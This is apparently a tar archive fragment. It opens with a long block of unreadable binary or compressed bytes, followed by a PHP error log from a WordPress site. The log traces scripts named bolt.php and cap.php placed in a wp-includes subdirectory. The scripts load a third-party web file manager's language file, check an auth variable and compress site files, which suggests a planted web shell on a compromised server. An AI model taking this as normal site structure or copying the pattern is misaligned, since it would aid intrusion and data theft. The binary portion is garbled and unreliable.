x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
